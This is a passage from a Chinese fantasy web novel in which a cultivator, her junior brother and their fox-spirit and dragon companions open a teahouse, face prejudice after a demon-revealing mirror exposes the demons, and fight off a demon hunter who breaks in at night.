冉青云提议将茶楼冠上刘掌柜刘香梅的芳名——毕竟刘掌柜是茶楼最大的赞助商,自然应该当最大的东家。
此提议当场以四张同意票、一张弃权票的分数高票当选,其中当属白灿灿手举得最高。
唯有刘掌柜一人没举手,一会儿捂住臊红的脸,一会儿又连连摆手,害羞得手忙脚乱,惹得大家捧腹大笑。
冉青云写得一手好字,大笔一挥,用金粉在楠木匾额上写下四个大字——
“香梅茶楼”。
于是,香梅茶楼就这么热热闹闹地成立了。
除了名字之外,香梅茶楼百废待兴,不仅需要稍加修葺,还有不少东西需要添置。
首先,得先把二楼的客房收拾出来,当作寝所,不然今晚几人连个睡觉的地方都没有。
二楼虽积了灰,但还算不上破败,收拾起来倒是不难。
冉青云和纪映阳去街上买好新被褥枕头的空当,刘掌柜和白灿灿就已经把四个房间都简单打扫好了,铺上床铺即可入住。
至于三人一蛟一狐如何分配四个房间?
这也不难。
毕竟这一路上,玄隐要么挂在冉青云脖子上,要么盘在冉青云袖子里,俨然成了她的随身挂件,以至于根本没有人记得要给他单独留个房间。
这几日里不管住的是住客栈还是驿站,大家都直接默认冉青云和玄隐一屋。
当事人表示,抱着蛇睡觉是她上辈子没能实现的梦想,感谢穿越让她圆梦异世界。
当事蛟表示,虽然很害羞,但青云这么做一定有她的道理。
从南淮城到天虞城一路长途跋涉,又找了半天的铺面,大家都疲惫不堪,好不容易尘埃落定,在街上随便买了些吃的果腹,就自行洗漱休息了。
***
第二天早上,天还蒙蒙亮,冉青云就拎着在街口小摊买的油条包子,油条当棒槌,包子当锣鼓,敲锣打鼓地喊大家起床了。
纪映阳对自家师姐最是了解,平日里看着自由散漫,但好胜心却是一打一的强。
从前在玉清山庄里,不管是进行什么考核,冉青云都没让出过榜首。她一向如此,一定下目标就如同打了鸡血一般,一天到晚精力十足。
刘掌柜白灿两人从前一起开客栈时也常常要起早贪黑,一早习惯了这样的作息。
只有这辈子没读过一天书、没上过一天班的玄隐没吃过早起的苦,迷迷糊糊的,挂在冉青云脖子上迷瞪着眼打瞌睡。
小店一楼脏乱得很,随处都积了一层厚厚的灰,走几步路都尘土飞扬。
缺胳膊少腿的破旧家当堆积如山,墙面年深日久留下好些刺眼的污渍,地面上近一半的地砖翘起,露出下头的夯土来。
冉青云从破烂堆里扒拉出一张缺脚的雕花八仙桌,随手摸了块翘起来的地砖垫上,好让桌子不至于歪歪斜斜立都立不住;又找出几把坑坑洼洼的木凳子,简单掸了掸灰,用湿抹布擦了擦,好歹算是收拾出了一楼大堂里唯一一块净土。
几人便缩手缩脚地窝在这块干净的安全区域里,围坐成一圈啃包子。
不过,冉青云一大早喊大家起床可不是单为了吃包子。
她兴致勃勃地交待起工作安排来:“今天我们要完成的有两个任务:一是上街采购,二是打扫卫生。”
她接着说:“至于采购的东西么……除了买茶楼的必需用品外,我还想办个戏院,需要买些漂亮衣裳和胭脂水粉。”
戏院?
之前从没听她提起,刘掌柜不甚同意地说:“这店面大堂坐不了几个客人,开戏院的话应该换个大些的铺子才对。喝茶么客人来来去去的,看戏的话客人一坐就是半天,一天接不了几个客人,长期做下来要亏本的呀。”
白灿灿也皱着眉说:“而且,突然说要开戏院,我们上哪儿找戏班子?”
冉青云摇摇头:“非也非也。我想办的这个戏院,既不用大场地,也不用戏班子,而且只是临时的,最多开个三天。”
这是办的哪门子戏院?
见大家一脸疑惑,冉青云掏出一个半寸厚的薄石板,薄石板的背面用带着金粉的朱砂画了看上去复杂得很的符咒。
她解释说:“这是我在传书玉玺的基础上研制出的‘显影石’。它功能与传书玉玺相似,但更胜一筹,即使身在远方,也可以实时看到这里的画面、听到这里的声音。”
说罢,她手掌在薄石板上一抹,石板面上一亮,居然真的有画面浮现。
仔细一看,正是此时的茶楼大堂,连他们几人惊讶的表情都看得一清二楚。
冉青云说:“开戏院不过是个幌子,目的是吸引他们购买这薄石板,在家里也可以看戏。”
她顿了顿,又说:“至于戏班子,我们几个人就够了。我要的就是人族妖族共演大戏,好让大家都知道两族也能和谐共处!”
他们连唱曲儿都
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不会,怎么成立一个戏班子?
但冉青云说得是斩钉截铁,看上去是胸有成竹,其他几人竟都发不出质疑的声音,只是懵懵地跟着点头。
冉青云雷厉风行地安排任务:“接下来,需要一个人负责采购食案椅凳、锅碗瓢盆,一个人负责搭配锦罗绸缎、胭脂水粉,一个人负责挑选茶叶和小食,还有一个人负责收拾垃圾、打扫卫生。”
至于小黑蛟,大家默认他的任务是盘在冉青云脖子上为她降温祛暑。
冉青云自己说完,率先举手领取任务:“我力气最大!我来负责买桌子椅子和锅碗瓢盆。”
作为团队中唯一会梳妆打扮的狐美人,白灿灿随后举手:“那我来挑衣裳水粉。”
刘掌柜笑呵呵地说:“那我来选茶叶吃食,我开了几十年客栈,在吃喝一事上还算是有讲究的。”
三人说完,默契十足地将视线悠悠投向纪映阳。
纪映阳再次被三道目光牢牢锁定,他指着自己,后知后觉地说:“欸,那、那我扫垃圾?”
任务分配完毕,三个姑娘们带着一只小黑蛟美滋滋地出门逛街采购了,徒留纪映阳一人孤零零地与眼前的颓垣败壁面面相对。
墙皮脱落,尘垢满壁,地板上的石砖“此起彼伏”,破损残缺的家具杂物堆成一座比他个子还高的小山,满目皆是荒凉破败。
这不是打扫卫生,这是废墟重建啊。
没办法,任务都应下了,纪映阳只能撸起袖子加油干。
他先跑去隔壁的泥瓦铺子买了些糯米石灰浆,用来刷墙;又买了些普通青砖,用来铺地。
但在刷墙铺砖之前,还有这杂物废品如同小山一般的满室狼藉需要收拾。
纪映阳看着眼前的垃圾山,仰天长叹:“来个贼把咱们店洗劫一空算了,偷干净了也是干净啊!”
***
另一边,冉青云、白灿灿、刘掌柜一行人倒是其乐融融。
青石板街道上熙熙攘攘,商贾云集,各种商品琳琅满目,街头巷尾叫卖声不绝于耳。
冉青云很快就相看好了成套的漆花食案椅凳,付了定金,想着回程时再来取,才不用来来回回地扛着白费力气。
她们专心品鉴各个铺子里的茶叶糕点,打算都尝上一遍再做定夺,一路逛一路吃,有说有笑的。
走着走着,一家富丽堂皇的胭脂铺跃入眼帘,牌匾上写着店铺的名字——“玲珑阁”。
这家胭脂铺规模很大,堪称豪横,占了整整三个门面,顾客盈门,生意极好。
一走进去,可以看到侧边墙壁上挂着一个半丈高的巨大铜镜,镜身古朴,刻着精美奇魄的饰纹,正上方镶嵌着一颗硕大的夜明珠。
冉青云远远地就瞧见这铜镜的饰纹有几分眼熟,正想走近细看,下一刻,身边突然响起一声撕心裂肺的尖叫:“有妖怪啊!!!”
闻声看去,声音的来源是一位穿金戴银的妇人,她站在柜台里,看着像是店里的东家,此时脸色铁青,浑身发抖,正如临大敌似的往冉青云他们这边看。
顺着她惊恐的视线望去,铜镜里,面目清秀的白灿灿变成了一只青面獠牙的白狐,而挂在冉青云脖子上的小黑蛟则周身环绕着浓浓的青色妖气。
这竟是一个辟邪照妖镜!
12. 第十二回
难怪冉青云看这铜镜上的花纹十分眼熟——这不是师尊她老人家发明的照妖符文嘛!
没错,这并不是什么装饰用的花纹,而是一种出自玉清山庄凌萧真人手笔的复杂符文,刻在上千斤纯铜制成的铜镜上,就能使妖怪在镜中现出本形、显露妖气。
玲珑阁东家的惊叫声尖锐刺耳,好似长指甲刮过铁板,听得人直起鸡皮疙瘩。
店里其他顾客皆被这尖叫吓了一跳,顺着她的视线看向铜镜,自然也看见了铜镜里散发着青色妖气的白狐与黑蛟。
顿时,整个胭脂铺里尖叫声此起彼伏,顾客们皆抱头鼠窜、作鸟兽散。
冉青云耐着性子尝试解释:“我们只是想来逛逛胭脂水粉,又不做什么坏事,不用这么害怕……”
但她的声音立马被淹没在混乱的人潮人海中。
一阵兵荒马乱过后,整个胭脂铺里只剩下冉青云一行人、瑟瑟发抖的东家,以及地板上零星几只踩踏掉了的鞋。
客人们能够一走了之,东家却不能撂下这胭脂铺不管。
她把整个身子藏进了柜台下面,抱着脑袋大喊:“来人呐!来人呐!有妖怪来啦!”
闻言,从胭脂铺后头库房里窜出来几个彪形大汉,各个虎背熊腰,穿着无袖麻布褂子,在东家前面站作一排,凶神恶煞地与冉青云几人对峙。
这下东家有了保护,颤颤巍巍地从柜台下站起来,抚着自己的胸口,心脏砰砰直跳。
她掏出帕子抹了抹额头的冷汗,说:“原本买这照妖镜是为了辟邪招财,没想到还真有一天派上了用场……”
见冉青云等人没做出什么具有攻击性的动作,她底气也壮了起来,大起胆子,叉着腰色厉内荏地朝她们骂道:“快滚出我的胭脂铺!不然我喊官府来了!滚!”
分明就是个欺软怕硬的主儿。
白灿灿第一次在大庭广众被揭露妖族身份,她吓得脸色苍白,手足无措地站着,手指紧捏着裙子衣摆,嘴唇止不住地翕动,一句话都说不出来。
玄隐也没见过这场面,选择三十六计走为上计,嗖一下钻进冉青云衣领里,躲在里面不出来了。
刘掌柜见白灿灿小脸吓得煞白,心里又是心疼又是委屈,拧眉道:“你们何必如此?我们只是来挑选胭脂水粉,又没做什么伤天害理的事情。”
那东家躲在充当保镖的壮汉店员们身后,伸出一只干柴似的手指头指着她们,怒气冲冲地说:“谁知道禽兽安的什么居心?畜牲就是畜牲,定是瞧着胭脂铺里细皮嫩肉的姑娘多,来这里挑吃食来了!滚去啖狗屎去吧!”
冉青云双手抱在胸前,自上而下地看着这东家,怒极反笑:“嘴那么脏,爱吃狗屎的是你自己吧?”
东家比冉青云矮了不止一个头,从气势上就输了一大截,顿时气得七窍生烟,脸色涨得通红,胸口上下起伏半晌,嘴里却半天不敢说出一句回骂的话。
她败下阵来,往后连退了好几步,几乎要缩进库房里了,边退边摆手示意壮汉们赶走她们,嘴里还嘟嘟囔囔:“这是什么世道啊!大白天的都有妖怪大摇大摆地在街上走……”
其中一个壮汉突然指着她们几人,激动地说:“欸,我认得她们!我昨儿看见庞大人带她们看铺子去了!”
又一个人也说:“我也想起来了。她们好像租了庞大人地段最好的那间铺子,昨天晚上还挂上了牌匾,写的是什么香梅茶楼……”
东家听后更加害怕:“你们这些畜牲居然还想混进我们天虞城里住着?”
她吩咐其中一个店员:“快!去把这事儿和禀报官府!耽误不得!”
店外远远围观的行人们议论纷纷——
“……那里头究竟是怎么回事?听那掌柜的意思,那几人难道是妖怪?”
“我刚刚才从那店里跑出来的!千真万确,我亲眼看见那照妖镜里照出一只白色狐妖!”
“谁?谁是狐妖?我还是第一次亲眼瞧见妖怪呢……”
外头人言籍籍,没一会儿,看热闹的人竟是越聚越多,七嘴八舌的声音也越来越大。
冉青云凛冽的一眼刀扫过去,众人撇开视线,抬头望天、低头看地,不敢和她对视,场面倒是安静了几分。
冉青云从小到大没吃过这种委屈,就连凌霄真人训她都是私下喊她到静心堂里单独训话,十分照顾她的面子。
她怒上心头,撸起袖子,往前迈了一步,想好好和那东家理论理论。
可白灿灿却拉住冉青云的衣摆,低声劝道:“罢了,罢了,我们不逛这家店就是了,多一事不如少一事……”
不知为何,白灿灿竟觉得羞愧难当,低垂着头想找个地缝钻进去。
明明她什么事儿都没做,却觉得自己好像犯了大错,活该受这些指指点点。
她一直觉得自己在人类世界里生活了十来年,即使不说与人类打成一片,至少不会格格不入。
她这时才意识到,原来她自己也一直觉得,生而为妖就是原罪,就该低人一等。
她小声说完,便低头拉着不情不愿的冉青云往外走。
见这妖物不伤人,反而灰溜溜地从店里跑了,围观群众也不那么害怕了,远远地形成了一个包围圈,挤挤挨挨地看热闹。
冉青云还在气头上,扫视了一圈,忍不住冲着人群吼了一句:“看什么看?没事干是么?”
或许是冉青云个子高,看上去身强力壮的,腰间又戴着一把明显价值不菲的桃木剑,凶悍得很,围观群众不敢惹她,闻言急忙推推搡搡地抛开。
对门一家店里,老板娘正坐在店门口的台阶上,原本还磕着瓜子、伸着脖子看戏,没成想前头乌泱泱的人群一下子散开,她猝不及防地和冉青云对上视线。
这家店也是一家胭脂铺。
与这玲珑阁不同,这家店店面不大,店名也很朴素,就叫王大娘胭脂铺。
冉青云见她如此明目张胆地看她们的热闹,气不打一处来,夹枪带棒地说:“还看呐?看热闹看上瘾了?是想要我们也逛逛你们的店不成?”
她这话说得实在是冲,王大娘莫名其妙撞到枪口上,被吼得一愣,嘴里的瓜子皮都掉地上了。
谁知店里竟窜出一个双目炯炯的小姑娘,热情地说:“来者都是客!客官若想逛店,小店当然欢迎!”
她穿着一身碎花布裙,两颊红扑扑的,弯腰伸手,摆出了一个请进的手势,笑容可掬地说:“客官里边请!”
冉青云生气快,消气也快。
她见这小姑娘如此盛情,自己反倒有些不好意思,当即就低着头道了歉:“抱歉,刚刚是我语气太冲了。”
那小姑娘摆摆手:“哎呀,没事的
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没事的,能理解,被那样对待,你们一定不好受。”
她领着几人往店里走,一边介绍:“你们喊我王小妹就行了。这‘王大娘胭脂铺’里的王大娘说的就是我娘亲,这小店是我们娘俩一起开的。”
她正说着,王大娘偷偷扯住王小妹衣摆,压低声音,小心翼翼地对她说:“你没听见刚刚对面东家说的话么?她们是妖怪哇……”
王小妹一把将自己的衣摆不着痕迹地抽回来,扭过头竖起手指“嘘”了一声,示意娘亲噤声。
又转过身来,对冉青云几人谄笑着说:“你们随便逛逛,看到感兴趣的可以试用,买得多的话,我做主给你们削价!”
说完,王小妹就拉着她娘亲急哄哄走到角落里头,小声说:“她们是不是妖怪关我什么事?妖怪还能傻到众目睽睽之下吃了我们不成?有钱不赚才是傻蛋!”
王大娘一脸的惶恐不安:“这这这……再怎么说也不能和妖魔鬼怪做生意呀……要是其他客人知道了,不来我们店里怎么办?”
王小妹撇了撇嘴,“本来就没什么客人,你晓得我们这个月赚了多少文钱不?咱已经多久一单生意都没开张了,有客人就不错了!我管她们是不是妖魔鬼怪,有银子就行了!”
她偷瞄了冉青云一眼,给王大娘使眼色,“你看见她那衣服布料、容貌气色没有?一看就是从小养尊处优养大的。再看她那桃木宝剑,桃木的色泽和上面的雕花都不简单,定然不是等闲之物。人家有钱得很呢!说不定我们今天要开大单子了!”
她们声音压得虽低,但冉青云耳力极好,听的是一字不差。
王小妹话里话外都是铜钱银子,冉青云却一点儿都不觉得被冒犯,反而觉得她这人有趣得很。
白灿灿此时还脸色煞白、惊魂未定,实在是没什么心思挑选胭脂水粉。
冉青云干脆也不挑了,对王小妹说:“你帮我们推荐推荐好了。”
冉青云掰着手指头数要买的东西:“面膏、妆粉、胭脂、画眉墨、花钿……”
数了好一会儿,最后豪横地说:“总之各种品类都要,凡是你们店里卖得好的,我们都买一份,全部包起来。”
反正她们昨天租铺子只花了三成房赁,省下了不少钱,现在手头宽裕得很。
王小妹听见这话,双眼直发光。她生怕冉青云反悔,连忙高声应下:“好嘞好嘞!我马上就帮您挑好包起来!您买这么多,我给您削价两成,如何?”
她们这小破店十天半个月都不一定卖得出去这么多东西,王小妹心里乐开了花,喜笑颜开地挑选打包。
一开始不太乐意的王大娘也没再说什么,甚至主动拿了个麻布袋,帮着王小妹一起装袋。
钱货两讫,王小妹数着白花花的银子,笑得嘴都合不拢了,连声向她们道谢:“多谢惠顾!下次还来呀!”
临走前,冉青云看着正对面富丽堂皇的玲珑阁,又回头看了一眼破破旧旧的王大娘胭脂铺。
她转身看着王小妹,信誓旦旦地说:“你信不信,不出一个月,你的生意会比对面那玲珑阁还好上十倍。”
这海口夸得也太大了些。
她们这风雨飘摇的小破店,怎么能和对面那宾客如云的玲珑阁相比?
王小妹自然没当真,只是捂着嘴偷笑,说道:“多谢您吉言啦!”
13. 第十三回
从王大娘胭脂铺出来,已是巳时,西坊街还是一样的人声鼎沸、热闹非凡。
但冉青云一行人的气氛却与刚来时大不相同了。
刘掌柜心疼她垂头丧气的白灿灿,拧着眉和冉青云商量:“要不我们先回去好了,采买东西也不急这一时的。”
冉青云却想尽快把准备事宜做好,趁早开店,所以说:“那你们先回去吧,除了茶叶和糕点,剩下的东西我去买就好了。”
刘掌柜也不多推拒,点点头应了,“那胭脂铺里买的东西我们先拎回去好了。”
说罢,她俩拎着大包小包就先回茶楼了。
冉青云一个人去成衣铺里挑了几件新衣裳,又去取好之前付了定金的食案椅凳,和店家借了小推车,干劲十足地推着小车,风风火火地往香梅茶楼赶。
***
冉青云刚回来时,远远地就看见香梅茶楼门口围了好些人。
她好不容易拨开人群挤进去,却看见一群身穿蓝田花纹袍的官兵堵在茶楼门口,手里拿着几捆锁妖绳。
像天虞城这样的大城市,妖魔鬼怪也多,久而久之,官府也学了些捉妖驱鬼的办法,会定期从捉妖人和驱鬼人那儿买些驱邪物件,比如束缚妖力的锁妖绳和捉拿鬼怪的镇鬼葫芦。
为首的两人一胖一瘦,胖的那位个子矮些,此时正扯着嗓子对茶楼里喊:“里面的妖祟听着,快快束手就擒,和我们去衙门里走一趟!要不然我们可要把捉妖师请来了。”
他满身肥肉,手里拿着把象牙折扇,有一下没一下地扇着。
瘦的那位高得像根长竹竿,看上去年轻一些,面相和善得多,站在胖官差身边,没吭声。
纪映阳叉着腰站在门口,将白灿灿和刘掌柜护在身后,硬气地说:“不用麻烦你们去请,小爷我就是捉妖师。”
捉妖师维护妖怪?
官兵们没一个相信的,只当他胡诌,上前几步就想去扯他身后的白灿灿。
冉青云暗叹一口气,早知道万事开头难,也明白破除人族妖族两族偏见困难重重,但原本想的是循序渐进,没想到刚来天虞城就被照妖镜识破身份,现在还惹上了官府。
真是麻烦事一件接一件。
她走上前去,伸手拦住几位官兵,说:“是我带两位妖族朋友来的,有什么事儿和我说就行。”
那胖官差抖了抖面上几两肥肉,语气不善地说:“你把那两个妖怪交出来,一切好说。”
冉青云果断拒绝:“那可不行。他们又没做错事,把他们交给官府白白受死么?”
若是白灿灿和玄隐被锁妖绳绑着送进了官府,妖力被压制,无力反抗,可想而知,先花一炷香的功夫询问有无妖族同伙,再花眨眨眼的时间白刀子进红刀子出,一命呜呼。
胖官差瞪着眼睛,阴阳怪气道:“小姑娘,初来乍到的,就公然阻挠官府办差,这样不好吧?”
冉青云可不接这顶大帽子,反问道:“那我到时要问问,官府来办的是什么差?我们是犯了什么罪?”
胖官差把手中折扇啪的一声合上,厉声质问道:“邪祟混入天虞城,企图祸乱百姓,这该不该抓?”
冉青云又问:“难道我们伤了谁、害了谁么?我们左右不过是上街逛了一圈,这就算祸乱百姓了?”
胖官差怒道:“为何不算?妖祟就是祸乱百姓的存在!妖祟的残暴谁人不知,谁人不晓?去年城里的富商钱老爷,带着三妻四妾五六儿女去野外踏青,就被山上的虎妖袭击吞吃了,除了最小的女儿幸存,全家几乎都被灭门了。”
纪映阳呸了一口:“那你们去抓杀人的妖怪呀,好端端的抓我们干什么?”
胖官差:“好端端的,你们为什么要帮着妖怪混入人们生活的地方?”说着,示意身后的官兵们强闯。
见状,冉青云拔出腰间的桃木剑,重重往地上一插,石板路就这么被硬生生插出了个大洞。
几位官兵皆是吓了一跳。
趁他们愣神的功夫,冉青云又掏出一张引火符,夹在两指之间,闭目观心,默诵法诀。再次睁眼的那一刻,茶楼门口唰的一声烧起一道半人高的火制矮墙。
这下,官兵们是真没办法近身了。
冉青云站在火墙之后,皮笑肉不笑地说:“按你这个说法,妖生活在人类的城镇里就算犯了罪,那人是不是只能住在城镇里,也不能去到妖生活的地方?像你说的那什么钱老爷,去野外踏青,误入了妖怪生活的地方,被妖怪撕碎吞吃,也应该怪他自讨苦吃么?”
“那我现在说这香梅茶楼就是妖怪住的地方,那你们也不能进来咯?”
见胖官差被怼得回不了话,一直不吭声的瘦官差终于说话了,他语气倒是温和得多:“你们毕竟隐瞒妖族身份,欺骗房东租下了他的铺子,这总是事实吧?还是应该跟我们去衙门里好好解释一下的。”
冉青云正想反驳,一个有几分熟悉的破锣声音响起来——
“是谁说老夫被骗啦?”
围观的人群主动分开了一条小道,庞千山大摇大摆地走了出来。
见庞千山出现,那瘦官差竟是不自觉地哆嗦了一下。
庞千山还是那一副仙风道骨的样子,捻着山羊胡,不紧不慢地说:“老夫一早就知道她们之中有妖怪,但还是把铺子租给她们,这算不算引妖入室,是不是也要把我一起抓了?”
胖官差一改之前的嚣张样子,点头哈腰道:“不敢不敢。”
庞千山冷哼一声:“老夫我自己的铺子,想租给谁就租给谁,你们要是有意见,让你们城主自己来和我谈谈。”
胖官差与瘦官差对视一眼,最后那瘦官差摇了摇头,对庞千山作揖说道:“既然庞大人您这么说了。那我们就将此事如实禀报城主,之后的事情之后再议吧。不过,前提得是这妖孽不作恶不害人,不然……到时就算庞大人您出面,估计也保不了这妖祟了。”
说罢,带着官兵们打道回府了。
庞千山看也不看他们离开的身影,对着围观的人群喊道:“是我同意他们租下这铺子的,若是街坊邻居里有谁对这香梅茶楼的两位妖怪朋友有意见的,直接来
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对我讲,莫要为难他们。”
围观人群中窃窃私语起来:
“既然有庞老作保,那这妖怪一定伤不了人。”
“庞大人都这么说了,那就听庞大人的好了……”
看得出,庞千山在这一带声望确实很高。
很快,围观的熙熙攘攘的人群就渐渐散开,各回各家去了。
庞千山转身对冉青云几人说道:“你们好生住着,只要老夫还健在一天,就没人能把你们赶出天虞城。”
冉青云感谢道:“多谢庞先生。”
庞千山笑道:“这算什么?天虞城城主的命都是我救的。别说是让你们住在这铺子里,即便你们想去城主府里住几个晚上,对我来说都不是大事。”
说着,他熟门熟路地走进香梅茶楼,嘴里念叨着:“对了,老夫今日来,是想提醒你们记得备一些上好的凤凰单枞茶,陈三妹最爱的就是这种茶了。”
花了一整个上午,纪映阳已经将大堂打扫得七七八八了,新的地砖已经铺好,墙漆倒是只涂了一半,总算不至于不堪入目。
冉青云将新买的桌椅搬进来,
白灿灿看上去情绪已经好了些,去后厨拎了壶热茶出来,替庞千山斟茶。
庞千山轻抿了几口,又说起陈三妹的事儿来:“至于糕点么,三妹喜甜却又不喜过甜。你们记得要买甜口的点心,但不要太甜,最好是带些清甜花香。”
交代完茶水和糕点,庞千山站起身,左看右看,挑挑拣拣,一会儿觉得这儿打扫的不好,一会儿那儿装修的不行,提了好些意见。
瞧着这庞千山,好似要给陈三妹开一个专属茶楼似的。
这倒是让冉青云等人好奇起这陈三妹究竟是何等人物。
庞千山走后,大家伙儿该刷墙的刷墙,该收拾的收拾,一时倒没人说话。
冉青云见白灿灿难过低落,原本准备了一堆安慰她的话,她想说,这没什么大不了的,我知道你心里难受,但别人对你有偏见又不是你的错,何必在意别人的看法呢?
但这些话实在是有些苍白无力。
更何况,虽然白灿灿看上去心情沉重,但手头上的活儿没有一刻是停下来的。她根本就没想过放弃。
总有一天,人们会发现妖族里也有像白灿灿、玄隐这样的好妖。
时间会证明这一切的。
更何况,天虞城这么大,香梅茶楼住着妖族的消息要传出去还要些时间呢。
而且,除非白灿灿和玄隐束手就擒,不然普通人伤不了他们,而就算是捉妖师来了,也还有冉青云和纪映阳保护他们呢。
当务之急是把香梅茶楼开好了,把直播事业搞上去!
冉青云定了神,全身心专注在开茶楼的事情上,下午和刘掌柜一起出门去采购了茶叶和糕点,晚上又熬夜制作显影石,干劲十足。
可没想到的是,消息传播得比她想象的还要迅速,不出一个下午,香梅楼豢养妖族的事情就在整个天虞城里就传遍了。
半夜,香梅楼里来了一位不速之客。
14. 第十四回
夜半三更,冉青云正在二楼自己的卧房里挑灯夜战,熬夜制作显影石。
制作显影石的步骤其实并不算繁琐。
第一步,是要调朱砂墨。
调朱砂墨,需要将晒干的白芨根放入研钵中磨成粉末,再加入足量的朱砂和高度白酒,一起研磨成糊状。
研磨费时费力,操作单一。这个任务就交给了死活不愿意自己早睡、一定要陪着冉青云熬夜的玄隐。
小黑蛟盘在研钵边上,用两只小爪子抓住研磨棒,认认真真地一圈一圈研磨,看上去像个装了电池的桌面玩具摆件。
朱砂墨搞定了。
第二步,需要准备充当显影石主体的薄石板。
冉青云将铺地剩下的青砖用桃木剑劈成合适的大小,一块青砖可以做出十二块巴掌大的薄石板,几块青砖劈完,薄石板已经可以垒成一座小山了。
第三步,在朱砂墨中注入法力。
准备完薄石板,冉青云两指间夹起一叠纸符,掐诀念咒,纸符应声自燃,点点金灰落入研钵之中,使朱砂墨夹杂着闪闪的金粉。
她提笔蘸了蘸朱砂墨,将蘸着红墨的毛笔尖尖拿到眼前细细端详,确认无误后,开始在薄石板上画符。
玄隐两手忙着研磨,眼睛却目不转睛地看着冉青云。冉青云神情专注,脸庞在摇曳的油灯火光下显得有几分疏离,让玄隐看得出了神。
小小的房间里,一人一蛟各自无言,唯有研磨时的摩擦声和窗外偶来的风声。
玄隐从未与任何一个人类如此亲近过,现在的每一分每一秒对他来说都是难得的新奇体验。
在一片安静中,楼下突然传来一阵极其细微的细细簌簌的声音,接着又响起一声咔哒的声响。
像是楼下窗户被撬开的声音。
冉青云轻轻放下笔,和玄隐对视一眼。玄隐也听到了这声响,当即放下研磨棒,爬到冉青云的手腕上,很自觉地当一个不碍事的手上挂件。
冉青云敛起脚步,悄悄打开房门,无声无息地走到二楼楼梯口旁,蹲下身子,悄悄往楼下看。
月光从大开的窗户透过,洒下微弱的清冷的光,勉勉强强照出了大堂里一个鬼鬼祟祟的身影。
那身影蹑手蹑脚,刚从撬开的窗户里翻进来,左顾右盼一番后,摸着黑就要往二楼走。
大半夜潜入民宅,能是什么好人?
冉青云躲在二楼楼梯口,静静地听着那人的动静。
那人穿着布鞋,走在地砖上却几乎没发出一点儿脚步声,只有极其轻微的不可避免的衣料摩擦声,可见他隐匿身形的本事极好。
若不是正巧冉青云还没睡,又正巧冉青云天生耳力过人,或许就被这家伙人不知鬼不觉地溜进香梅茶楼了。
那人踏上楼梯,年久失修的木楼梯发出吱呀一声,他警惕地停了下来,确保无事发生后才继续往楼上走。
等到那人一脚刚踏上二楼,冉青云单腿横扫,犹如重鞭猛击,将来者扫倒在地,从楼梯上滚了下去,砰一声倒在大堂冰凉的地砖上。
冉青云左手撑在楼梯栏杆上,借力翻身一跳,纵跃如飞,双足落地时轻盈无声,手里的桃木剑已瞄准倒地那人的肩膀狠狠刺下。
那人动作敏捷,倒吸了一口气,一个翻滚躲开了这一击,迅速起身迎战。
冉青云就势单手抓紧剑柄,侧翻至半空中,衣袂飘飘,手上拔出插在地砖上的桃木剑,腿上毫不留情地给了那人一个旋风踢。
那人双臂交叉在胸前护着要害,却还是被逼退了几米远。他扎稳马步,大喝一声,双臂使力,将冉青云震开。
冉青云接力一跃,轻盈地落在地面,手里的桃木剑直指对方。长袍袖中,小黑蛟像一圈黑玉石手环一样盘在冉青云手腕上。
那人看清了小黑蛟,说道:“还真有妖祟……”
冉青云却不给他继续说话的机会,当即欺身上前,与他缠斗起来。
那人近战落了下风,往后一撤,掏出了一个三清铃,铜钟上刻满了密密麻麻的符咒和经文。
三清铃一出,招神遣将,降妖驱魔。
他竟也是一位捉妖师。
那人单手持柄摇动,发出叮铃叮铃的响声。
“呃……”闻声,玄隐吃痛,发出一声闷哼,随即全身脱力,从冉青云的手腕上掉下来。
冉青云伸手想护住玄隐,对面那人却掐了一道引雷诀,正正打向小黑蛟。
冉青云只好持剑抵挡,将那天雷击飞回去。
玄隐啪嗒一声摔落在地,似乎是晕了过去。
那人一边摇铃,一边掐诀,引来道道天雷,对着玄隐攻了过去。
冉青云防得了天雷,却防不住叮当铃响。
三清铃的声响越来越大,震得整个香梅茶楼都颤动起来。
玄隐狼狈地躺在地上,虽已失去了意识,却眉头紧锁、满头大汗,看上去十分痛苦。
纪映阳被这铃声震醒,来不及换上外衣,抓起靠在床边的黄铜师刀,披着一身里衣,冲出房间,就看到冉青云在与那陌生男子打斗。
他想都不想,提刀加入战场,从二楼一跃而下,手握师公刀重重砍向那陌生人。
那男子只好横过三清铃抵挡,“锵——”的一声,三清铃被硬生生震飞。
单是一个冉青云,那男子都招架不住,再加上一个纪映阳,他可以说是毫无胜算。于是,他边打边退,打算从窗外翻出去,逃之夭夭。
就在这时,晕厥在地的玄隐突然无意识地抖了抖身子,每抖一下,手指粗细的蛟身就大上一圈,没一会儿,就变成一个庞然大物,几乎挤占了大半个大堂。
原本正在缠斗的三人皆感受到了浓浓的杀意,不约而同地转过头,或警惕或担心地看向这小山似的巨蛟。
突然,黑蛟猛地睁开眼,它双眼猩红,满眼寒光,张开血盆大口,发出了一声怒吼:“哈!——”
磅礴的妖气似狂风般席卷而来,纪映阳铺了老半天的地砖在眨眼间皆一个接一个地被掀起。他来不及痛惜自己的劳动成果,那带着寒意的妖气已扑面而来。
纪映阳急忙将有着符咒
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保护的黄铜师刀横在身前,掐诀念咒,释放出一个透明的保护罩。
一旁的冉青云也一样,横握桃木剑,立起抵挡妖气的防护墙。
只有那陌生男子来不及抵挡。伴随着一声沉闷的撞击声,那人狠狠撞上墙角,晕了过去。
纪映阳刚从睡梦中被吵醒,推己及人地分析道:“玄隐这不会是起床气吧?脾气够大的啊。”
冉青云冷斥了一句:“别开玩笑了,专心。”
冉纪二人随凌霄真人外出除妖那么多次,从未见过妖力如此之强的妖,稍有疏忽,怕是就连他俩都难以全身而退。
玄隐究竟是怎么回事?他明显已经失去了理智,难道是三清铃的影响吗?
冉青云不敢大意,对纪映阳说:“你吸引他注意,我施定身咒。”
纪映阳闻言,毫不犹豫地听从号令,提刀朝巨蛟跑去,速度快得刀刃都在地板上划出一道火花。
巨蛟被这火光吸引了注意力,尾巴一甩,昂着头就朝纪映阳咬去。
纪映阳纵身一跃,横刀卡住巨蛟的嘴巴,与他僵持起来。
见状,冉青云双手快速结印,唇瓣翕张默念心诀:“天地之气,聚于我身。予我仙灵,定你身形。定!”
说罢,巨蛟周身一亮,定身咒生效。
玄隐被定在原地,长着血盆大口,一动不动。
纪映阳从巨蛟嘴里跳下来,将刀收回背后的刀鞘,一边转动着肩膀关节,一边说:“吓我一跳。不仅有人夜闯茶楼,玄隐还疯了似的,今晚怎么……”
他话还没说完,突然被冉青云一脚踢开,背朝下摔到新买的一张雕花桌上,桌子不堪重负,四根桌腿瞬间断了仨。
